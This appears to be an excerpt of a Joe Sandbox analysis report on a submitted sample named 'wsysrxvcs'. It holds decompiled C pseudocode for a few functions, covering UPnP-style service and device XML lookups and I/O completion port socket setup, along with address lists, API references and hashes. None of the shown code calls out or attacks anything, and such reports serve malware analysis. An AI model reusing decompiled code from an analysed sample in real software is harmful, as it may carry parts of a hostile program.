                                                                                                                                                                                                                                                                                                                                                      0x0040c5fd
                                                                                                                                                                                                                                                                                                                                                      0x0040c607
                                                                                                                                                                                                                                                                                                                                                      0x0040c610
                                                                                                                                                                                                                                                                                                                                                      0x0040c618
                                                                                                                                                                                                                                                                                                                                                      0x0040c628
                                                                                                                                                                                                                                                                                                                                                      0x0040c63a
                                                                                                                                                                                                                                                                                                                                                      0x0040c646
                                                                                                                                                                                                                                                                                                                                                      0x0040c650
                                                                                                                                                                                                                                                                                                                                                      0x0040c654
                                                                                                                                                                                                                                                                                                                                                      0x0040c65d
                                                                                                                                                                                                                                                                                                                                                      0x0040c665
                                                                                                                                                                                                                                                                                                                                                      0x0040c743
                                                                                                                                                                                                                                                                                                                                                      0x0040c637
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040c675
                                                                                                                                                                                                                                                                                                                                                      0x0040c675
                                                                                                                                                                                                                                                                                                                                                      0x0040c67f
                                                                                                                                                                                                                                                                                                                                                      0x0040c688
                                                                                                                                                                                                                                                                                                                                                      0x0040c693
                                                                                                                                                                                                                                                                                                                                                      0x0040c6b4
                                                                                                                                                                                                                                                                                                                                                      0x0040c6bf
                                                                                                                                                                                                                                                                                                                                                      0x0040c6c4
                                                                                                                                                                                                                                                                                                                                                      0x0040c6c7
                                                                                                                                                                                                                                                                                                                                                      0x0040c6ce
                                                                                                                                                                                                                                                                                                                                                      0x0040c6d0
                                                                                                                                                                                                                                                                                                                                                      0x0040c6da
                                                                                                                                                                                                                                                                                                                                                      0x0040c6e3
                                                                                                                                                                                                                                                                                                                                                      0x0040c6eb
                                                                                                                                                                                                                                                                                                                                                      0x0040c703
                                                                                                                                                                                                                                                                                                                                                      0x0040c708
                                                                                                                                                                                                                                                                                                                                                      0x0040c708
                                                                                                                                                                                                                                                                                                                                                      0x0040c70f
                                                                                                                                                                                                                                                                                                                                                      0x0040c70f
                                                                                                                                                                                                                                                                                                                                                      0x0040c721
                                                                                                                                                                                                                                                                                                                                                      0x0040c721
                                                                                                                                                                                                                                                                                                                                                      0x0040c6ce
                                                                                                                                                                                                                                                                                                                                                      0x0040c727
                                                                                                                                                                                                                                                                                                                                                      0x0040c727
                                                                                                                                                                                                                                                                                                                                                      0x0040c731
                                                                                                                                                                                                                                                                                                                                                      0x0040c741
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040c733
                                                                                                                                                                                                                                                                                                                                                      0x0040c731
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040c665
                                                                                                                                                                                                                                                                                                                                                      0x0040c63a
                                                                                                                                                                                                                                                                                                                                                      0x0040c748
                                                                                                                                                                                                                                                                                                                                                      0x0040c74e

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • lstrcmpiW.KERNEL32(00000000,service), ref: 0040C6AC
                                                                                                                                                                                                                                                                                                                                                      • lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040C6FB
                                                                                                                                                                                                                                                                                                                                                      • SysFreeString.OLEAUT32(00000000), ref: 0040C70F
                                                                                                                                                                                                                                                                                                                                                      • SysFreeString.OLEAUT32(00000000), ref: 0040C727
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000002.00000002.335311288.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335305099.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335321894.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335326734.0000000000413000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_2_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: FreeStringlstrcmpi
                                                                                                                                                                                                                                                                                                                                                      • String ID: service$serviceType
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 1602765415-3667235276
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 59d80f984898475ead3a5eefdc860fbca65ddb4d01a08dfddf8149398c124503
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: eb7a5eddbf12148eb23c71802c8845ccc03d780cc3ce3bd31637004c877011bc
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 59d80f984898475ead3a5eefdc860fbca65ddb4d01a08dfddf8149398c124503
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: B641CD75A0020ADFCB14DF98C894BAFB7B9BF48304F108669E515A7390D778AE81CF95
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040DE80 Relevance: 10.6, APIs: 7, Instructions: 95COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 89%
                                                                                                                                                                                                                                                                                                                                                      			E0040DE80(intOrPtr __eax, void* _a4) {
				void* __esi;
				intOrPtr _t20;
				long _t28;
				long _t37;
				intOrPtr _t45;
				struct _CRITICAL_SECTION* _t48;
				long _t49;
				void* _t53;
				void* _t54;
				void* _t55;

				_t53 = _a4;
				_t45 = __eax;
				if(_t53 != 0xffffffff) {
					_t48 = __eax + 0x20;
					_t37 = 0;
					EnterCriticalSection(_t48);
					_t20 =  *((intOrPtr*)(_t45 + 0x38));
					if(_t20 != 0) {
						while( *((intOrPtr*)(_t20 + 0x260)) != _t53) {
							_t20 =  *((intOrPtr*)(_t20 + 0x280));
							if(_t20 != 0) {
								continue;
							} else {
							}
							goto L7;
						}
						_t37 = 1;
					}
					L7:
					LeaveCriticalSection(_t48);
					if(_t37 == 0) {
						_t49 = E004089F0(0x284);
						_t55 = _t54 + 4;
						if(_t49 == 0) {
							L13:
							E004094F0(_t53);
							return _t49;
						} else {
							_t7 = _t49 + 0x264; // 0x264
							 *_t49 = 0x69636c69;
							 *(_t49 + 0x260) = _t53;
							_a4 = 0x10;
							__imp__#5(_t53, _t7,  &_a4);
							if(CreateIoCompletionPort( *(_t49 + 0x260),  *(_t45 + 8), _t49, 0) !=  *(_t45 + 8)) {
								E00408B60(_t49);
								_t55 = _t55 + 4;
								_t49 = 0;
								goto L13;
							} else {
								_t28 = E0040BD50();
								_t13 = _t49 + 4; // 0x4
								InterlockedExchange(_t13, _t28);
								_t14 = _t49 + 0x244; // 0x244
								_t15 = _t49 + 8; // 0x8
								 *((intOrPtr*)(_t49 + 0x27c)) = _t45;
								 *((intOrPtr*)(_t49 + 0x224)) = 0x200;
								 *((intOrPtr*)(_t49 + 0x228)) = _t15;
								InitializeCriticalSection(_t14);
								InterlockedIncrement(_t45 + 0x3c);
								E0040DDA0(_t49);
								return _t49;
							}
						}
					} else {
						return 0;
					}
				} else {
					return 0;
				}
			}













                                                                                                                                                                                                                                                                                                                                                      0x0040de81
                                                                                                                                                                                                                                                                                                                                                      0x0040de86
                                                                                                                                                                                                                                                                                                                                                      0x0040de8b
                                                                                                                                                                                                                                                                                                                                                      0x0040de94
                                                                                                                                                                                                                                                                                                                                                      0x0040de98
                                                                                                                                                                                                                                                                                                                                                      0x0040de9a
                                                                                                                                                                                                                                                                                                                                                      0x0040dea0
                                                                                                                                                                                                                                                                                                                                                      0x0040dea5
                                                                                                                                                                                                                                                                                                                                                      0x0040dea7
                                                                                                                                                                                                                                                                                                                                                      0x0040deaf
                                                                                                                                                                                                                                                                                                                                                      0x0040deb7
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040deb9
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040deb7
                                                                                                                                                                                                                                                                                                                                                      0x0040debb
                                                                                                                                                                                                                                                                                                                                                      0x0040debb
                                                                                                                                                                                                                                                                                                                                                      0x0040debd
                                                                                                                                                                                                                                                                                                                                                      0x0040debe
                                                                                                                                                                                                                                                                                                                                                      0x0040dec6
                                                                                                                                                                                                                                                                                                                                                      0x0040ded9
                                                                                                                                                                                                                                                                                                                                                      0x0040dedb
                                                                                                                                                                                                                                                                                                                                                      0x0040dee0
                                                                                                                                                                                                                                                                                                                                                      0x0040df7d
                                                                                                                                                                                                                                                                                                                                                      0x0040df7e
                                                                                                                                                                                                                                                                                                                                                      0x0040df8c
                                                                                                                                                                                                                                                                                                                                                      0x0040dee6
                                                                                                                                                                                                                                                                                                                                                      0x0040deeb
                                                                                                                                                                                                                                                                                                                                                      0x0040def3
                                                                                                                                                                                                                                                                                                                                                      0x0040def9
                                                                                                                                                                                                                                                                                                                                                      0x0040deff
                                                                                                                                                                                                                                                                                                                                                      0x0040df07
                                                                                                                                                                                                                                                                                                                                                      0x0040df24
                                                                                                                                                                                                                                                                                                                                                      0x0040df73
                                                                                                                                                                                                                                                                                                                                                      0x0040df78
                                                                                                                                                                                                                                                                                                                                                      0x0040df7b
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040df26
                                                                                                                                                                                                                                                                                                                                                      0x0040df26
                                                                                                                                                                                                                                                                                                                                                      0x0040df2c
                                                                                                                                                                                                                                                                                                                                                      0x0040df30
                                                                                                                                                                                                                                                                                                                                                      0x0040df36
                                                                                                                                                                                                                                                                                                                                                      0x0040df3c
                                                                                                                                                                                                                                                                                                                                                      0x0040df40
                                                                                                                                                                                                                                                                                                                                                      0x0040df46
                                                                                                                                                                                                                                                                                                                                                      0x0040df50
                                                                                                                                                                                                                                                                                                                                                      0x0040df56
                                                                                                                                                                                                                                                                                                                                                      0x0040df60
                                                                                                                                                                                                                                                                                                                                                      0x0040df66
                                                                                                                                                                                                                                                                                                                                                      0x0040df71
                                                                                                                                                                                                                                                                                                                                                      0x0040df71
                                                                                                                                                                                                                                                                                                                                                      0x0040df24
                                                                                                                                                                                                                                                                                                                                                      0x0040dec8
                                                                                                                                                                                                                                                                                                                                                      0x0040dece
                                                                                                                                                                                                                                                                                                                                                      0x0040dece
                                                                                                                                                                                                                                                                                                                                                      0x0040de8e
                                                                                                                                                                                                                                                                                                                                                      0x0040de91
                                                                                                                                                                                                                                                                                                                                                      0x0040de91

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • EnterCriticalSection.KERNEL32(?,?,?,?,?,0040E38B,00000000), ref: 0040DE9A
                                                                                                                                                                                                                                                                                                                                                      • LeaveCriticalSection.KERNEL32(?,?,?,0040E38B,00000000), ref: 0040DEBE
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000002.00000002.335311288.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335305099.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335321894.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335326734.0000000000413000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_2_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: CriticalSection$EnterLeave
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 3168844106-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: e1b8b8727e2c3ffe086c742b8a663e9191aba77b80fbbb768ff030806b5c17c9
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 12da6a6ca49d2e76b8b7d06f0787455340914cdda03b6f1faf322cbadc699af4
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: e1b8b8727e2c3ffe086c742b8a663e9191aba77b80fbbb768ff030806b5c17c9
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 3431D172601605AFC710AFB5EC88AE7B7E8FF44725F00853EF54AD6241DB39B4488B99
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040C811 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 89stringCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 55%
                                                                                                                                                                                                                                                                                                                                                      			E0040C811() {
				void* _t85;

				L0:
				while(1) {
					L0:
					 *((intOrPtr*)(_t85 - 0xc)) =  *((intOrPtr*)(_t85 - 0xc)) + 1;
					if( *((intOrPtr*)(_t85 - 0xc)) >=  *((intOrPtr*)(_t85 - 4))) {
						break;
					}
					L2:
					 *(_t85 - 0x10) = 0;
					_push(_t85 - 0x10);
					_push( *((intOrPtr*)(_t85 - 0xc)));
					_push( *((intOrPtr*)(_t85 + 8)));
					if( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t85 + 8)))) + 0x1c))))() != 0 ||  *(_t85 - 0x10) == 0) {
						L18:
						continue;
					} else {
						L4:
						 *(_t85 - 0x14) = 0;
						_push(_t85 - 0x14);
						_push( *(_t85 - 0x10));
						if( *((intOrPtr*)( *((intOrPtr*)( *( *(_t85 - 0x10)) + 0xa4))))() == 0 &&  *(_t85 - 0x14) != 0) {
							L6:
							if(lstrcmpiW( *(_t85 - 0x14), L"device") == 0) {
								L7:
								 *((intOrPtr*)(_t85 - 0x18)) = E0040C0F0( *(_t85 - 0x10), L"deviceType");
								if( *((intOrPtr*)(_t85 - 0x18)) != 0) {
									L8:
									 *(_t85 - 0x1c) = 0;
									_push(_t85 - 0x1c);
									_push( *((intOrPtr*)(_t85 - 0x18)));
									if( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t85 - 0x18)))) + 0x68))))() == 0 &&  *(_t85 - 0x1c) != 0) {
										L10:
										if(lstrcmpiW( *(_t85 - 0x1c),  *(_t85 + 0xc)) == 0) {
											 *(_t85 - 8) =  *(_t85 - 0x10);
										}
										L12:
										__imp__#6( *(_t85 - 0x1c));
									}
									L13:
									 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t85 - 0x18)))) + 8))))( *((intOrPtr*)(_t85 - 0x18)));
								}
							}
							L14:
							__imp__#6( *(_t85 - 0x14));
						}
						L15:
						if( *(_t85 - 8) == 0) {
							L17:
							 *((intOrPtr*)( *((intOrPtr*)( *( *(_t85 - 0x10)) + 8))))( *(_t85 - 0x10));
							goto L18;
						}
					}
					break;
				}
				L19:
				return  *(_t85 - 8);
			}




                                                                                                                                                                                                                                                                                                                                                      0x0040c811
                                                                                                                                                                                                                                                                                                                                                      0x0040c811
                                                                                                                                                                                                                                                                                                                                                      0x0040c811
                                                                                                                                                                                                                                                                                                                                                      0x0040c817
                                                                                                                                                                                                                                                                                                                                                      0x0040c820
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040c826
                                                                                                                                                                                                                                                                                                                                                      0x0040c826
                                                                                                                                                                                                                                                                                                                                                      0x0040c830
                                                                                                                                                                                                                                                                                                                                                      0x0040c834
                                                                                                                                                                                                                                                                                                                                                      0x0040c83d
                                                                                                                                                                                                                                                                                                                                                      0x0040c845
                                                                                                                                                                                                                                                                                                                                                      0x0040c923
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040c855
                                                                                                                                                                                                                                                                                                                                                      0x0040c855
                                                                                                                                                                                                                                                                                                                                                      0x0040c855
                                                                                                                                                                                                                                                                                                                                                      0x0040c85f
                                                                                                                                                                                                                                                                                                                                                      0x0040c868
                                                                                                                                                                                                                                                                                                                                                      0x0040c873
                                                                                                                                                                                                                                                                                                                                                      0x0040c883
                                                                                                                                                                                                                                                                                                                                                      0x0040c894
                                                                                                                                                                                                                                                                                                                                                      0x0040c896
                                                                                                                                                                                                                                                                                                                                                      0x0040c8a7
                                                                                                                                                                                                                                                                                                                                                      0x0040c8ae
                                                                                                                                                                                                                                                                                                                                                      0x0040c8b0
                                                                                                                                                                                                                                                                                                                                                      0x0040c8b0
                                                                                                                                                                                                                                                                                                                                                      0x0040c8ba
                                                                                                                                                                                                                                                                                                                                                      0x0040c8c3
                                                                                                                                                                                                                                                                                                                                                      0x0040c8cb
                                                                                                                                                                                                                                                                                                                                                      0x0040c8d3
                                                                                                                                                                                                                                                                                                                                                      0x0040c8e3
                                                                                                                                                                                                                                                                                                                                                      0x0040c8e8
                                                                                                                                                                                                                                                                                                                                                      0x0040c8e8
                                                                                                                                                                                                                                                                                                                                                      0x0040c8eb
                                                                                                                                                                                                                                                                                                                                                      0x0040c8ef
                                                                                                                                                                                                                                                                                                                                                      0x0040c8ef
                                                                                                                                                                                                                                                                                                                                                      0x0040c8f5
                                                                                                                                                                                                                                                                                                                                                      0x0040c901
                                                                                                                                                                                                                                                                                                                                                      0x0040c901
                                                                                                                                                                                                                                                                                                                                                      0x0040c8ae
                                                                                                                                                                                                                                                                                                                                                      0x0040c903
                                                                                                                                                                                                                                                                                                                                                      0x0040c907
                                                                                                                                                                                                                                                                                                                                                      0x0040c907
                                                                                                                                                                                                                                                                                                                                                      0x0040c90d
                                                                                                                                                                                                                                                                                                                                                      0x0040c911
                                                                                                                                                                                                                                                                                                                                                      0x0040c915
                                                                                                                                                                                                                                                                                                                                                      0x0040c921
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040c921
                                                                                                                                                                                                                                                                                                                                                      0x0040c911
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040c845
                                                                                                                                                                                                                                                                                                                                                      0x0040c928
                                                                                                                                                                                                                                                                                                                                                      0x0040c92e

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • lstrcmpiW.KERNEL32(00000000,device), ref: 0040C88C
                                                                                                                                                                                                                                                                                                                                                      • lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040C8DB
                                                                                                                                                                                                                                                                                                                                                      • SysFreeString.OLEAUT32(00000000), ref: 0040C8EF
                                                                                                                                                                                                                                                                                                                                                      • SysFreeString.OLEAUT32(00000000), ref: 0040C907
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000002.00000002.335311288.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335305099.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335321894.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335326734.0000000000413000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_2_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: FreeStringlstrcmpi
                                                                                                                                                                                                                                                                                                                                                      • String ID: device$deviceType
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 1602765415-3511266565
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 82c5ac02605d2aed928da70b19d60524d164bcf2e075ee78b110d76732ef659b
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 3ebf5e03963a8586373660b136979e6d84cbcce20fdb350c5d7eb0773605ca86
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 82c5ac02605d2aed928da70b19d60524d164bcf2e075ee78b110d76732ef659b
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: BC31DCB5E0020ADFCB14DF98D884BAFB7B5BF88305F108669E515B73A0D7789981CB94
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040C631 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 89stringCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 55%
                                                                                                                                                                                                                                                                                                                                                      			E0040C631() {
				void* _t85;

				L0:
				while(1) {
					L0:
					 *((intOrPtr*)(_t85 - 0xc)) =  *((intOrPtr*)(_t85 - 0xc)) + 1;
					if( *((intOrPtr*)(_t85 - 0xc)) >=  *((intOrPtr*)(_t85 - 4))) {
						break;
					}
					L2:
					 *(_t85 - 0x10) = 0;
					_push(_t85 - 0x10);
					_push( *((intOrPtr*)(_t85 - 0xc)));
					_push( *((intOrPtr*)(_t85 + 8)));
					if( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t85 + 8)))) + 0x1c))))() != 0 ||  *(_t85 - 0x10) == 0) {
						L18:
						continue;
					} else {
						L4:
						 *(_t85 - 0x14) = 0;
						_push(_t85 - 0x14);
						_push( *(_t85 - 0x10));
						if( *((intOrPtr*)( *((intOrPtr*)( *( *(_t85 - 0x10)) + 0xa4))))() == 0 &&  *(_t85 - 0x14) != 0) {
							L6:
							if(lstrcmpiW( *(_t85 - 0x14), L"service") == 0) {
								L7:
								 *((intOrPtr*)(_t85 - 0x18)) = E0040C0F0( *(_t85 - 0x10), L"serviceType");
								if( *((intOrPtr*)(_t85 - 0x18)) != 0) {
									L8:
									 *(_t85 - 0x1c) = 0;
									_push(_t85 - 0x1c);
									_push( *((intOrPtr*)(_t85 - 0x18)));
									if( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t85 - 0x18)))) + 0x68))))() == 0 &&  *(_t85 - 0x1c) != 0) {
										L10:
										if(lstrcmpiW( *(_t85 - 0x1c),  *(_t85 + 0xc)) == 0) {
											 *(_t85 - 8) =  *(_t85 - 0x10);
										}
										L12:
										__imp__#6( *(_t85 - 0x1c));
									}
									L13:
									 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t85 - 0x18)))) + 8))))( *((intOrPtr*)(_t85 - 0x18)));
								}
							}
							L14:
							__imp__#6( *(_t85 - 0x14));
						}
						L15:
						if( *(_t85 - 8) == 0) {
							L17:
							 *((intOrPtr*)( *((intOrPtr*)( *( *(_t85 - 0x10)) + 8))))( *(_t85 - 0x10));
							goto L18;
						}
					}
					break;
				}
				L19:
				return  *(_t85 - 8);
			}




                                                                                                                                                                                                                                                                                                                                                      0x0040c631
                                                                                                                                                                                                                                                                                                                                                      0x0040c631
                                                                                                                                                                                                                                                                                                                                                      0x0040c631
                                                                                                                                                                                                                                                                                                                                                      0x0040c637
                                                                                                                                                                                                                                                                                                                                                      0x0040c640
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040c646
                                                                                                                                                                                                                                                                                                                                                      0x0040c646
                                                                                                                                                                                                                                                                                                                                                      0x0040c650
                                                                                                                                                                                                                                                                                                                                                      0x0040c654
                                                                                                                                                                                                                                                                                                                                                      0x0040c65d
                                                                                                                                                                                                                                                                                                                                                      0x0040c665
                                                                                                                                                                                                                                                                                                                                                      0x0040c743
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040c675
                                                                                                                                                                                                                                                                                                                                                      0x0040c675
                                                                                                                                                                                                                                                                                                                                                      0x0040c675
                                                                                                                                                                                                                                                                                                                                                      0x0040c67f
                                                                                                                                                                                                                                                                                                                                                      0x0040c688
                                                                                                                                                                                                                                                                                                                                                      0x0040c693
                                                                                                                                                                                                                                                                                                                                                      0x0040c6a3
                                                                                                                                                                                                                                                                                                                                                      0x0040c6b4
                                                                                                                                                                                                                                                                                                                                                      0x0040c6b6
                                                                                                                                                                                                                                                                                                                                                      0x0040c6c7
                                                                                                                                                                                                                                                                                                                                                      0x0040c6ce
                                                                                                                                                                                                                                                                                                                                                      0x0040c6d0
                                                                                                                                                                                                                                                                                                                                                      0x0040c6d0
                                                                                                                                                                                                                                                                                                                                                      0x0040c6da
                                                                                                                                                                                                                                                                                                                                                      0x0040c6e3
                                                                                                                                                                                                                                                                                                                                                      0x0040c6eb
                                                                                                                                                                                                                                                                                                                                                      0x0040c6f3
                                                                                                                                                                                                                                                                                                                                                      0x0040c703
                                                                                                                                                                                                                                                                                                                                                      0x0040c708
                                                                                                                                                                                                                                                                                                                                                      0x0040c708
                                                                                                                                                                                                                                                                                                                                                      0x0040c70b
                                                                                                                                                                                                                                                                                                                                                      0x0040c70f
                                                                                                                                                                                                                                                                                                                                                      0x0040c70f
                                                                                                                                                                                                                                                                                                                                                      0x0040c715
                                                                                                                                                                                                                                                                                                                                                      0x0040c721
                                                                                                                                                                                                                                                                                                                                                      0x0040c721
                                                                                                                                                                                                                                                                                                                                                      0x0040c6ce
                                                                                                                                                                                                                                                                                                                                                      0x0040c723
                                                                                                                                                                                                                                                                                                                                                      0x0040c727
                                                                                                                                                                                                                                                                                                                                                      0x0040c727
                                                                                                                                                                                                                                                                                                                                                      0x0040c72d
                                                                                                                                                                                                                                                                                                                                                      0x0040c731
                                                                                                                                                                                                                                                                                                                                                      0x0040c735
                                                                                                                                                                                                                                                                                                                                                      0x0040c741
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040c741
                                                                                                                                                                                                                                                                                                                                                      0x0040c731
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040c665
                                                                                                                                                                                                                                                                                                                                                      0x0040c748
                                                                                                                                                                                                                                                                                                                                                      0x0040c74e

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • lstrcmpiW.KERNEL32(00000000,service), ref: 0040C6AC
                                                                                                                                                                                                                                                                                                                                                      • lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040C6FB
                                                                                                                                                                                                                                                                                                                                                      • SysFreeString.OLEAUT32(00000000), ref: 0040C70F
                                                                                                                                                                                                                                                                                                                                                      • SysFreeString.OLEAUT32(00000000), ref: 0040C727
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000002.00000002.335311288.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335305099.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335321894.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335326734.0000000000413000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_2_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: FreeStringlstrcmpi
                                                                                                                                                                                                                                                                                                                                                      • String ID: service$serviceType
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 1602765415-3667235276
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 331b25e761f93d1973bfbd131952badf4a404cb2a800d5d12eff0fb6ce826fd5
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 735fb1b043b658a763f7a823a4672d8be2f2987cbfa5aee5cbb27b9fc60002fd
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 331b25e761f93d1973bfbd131952badf4a404cb2a800d5d12eff0fb6ce826fd5
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 1931CA75A0020ADFCB14CF98D884BAFB7B5BF88304F108269E515A73A0D7789A81CF95
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%
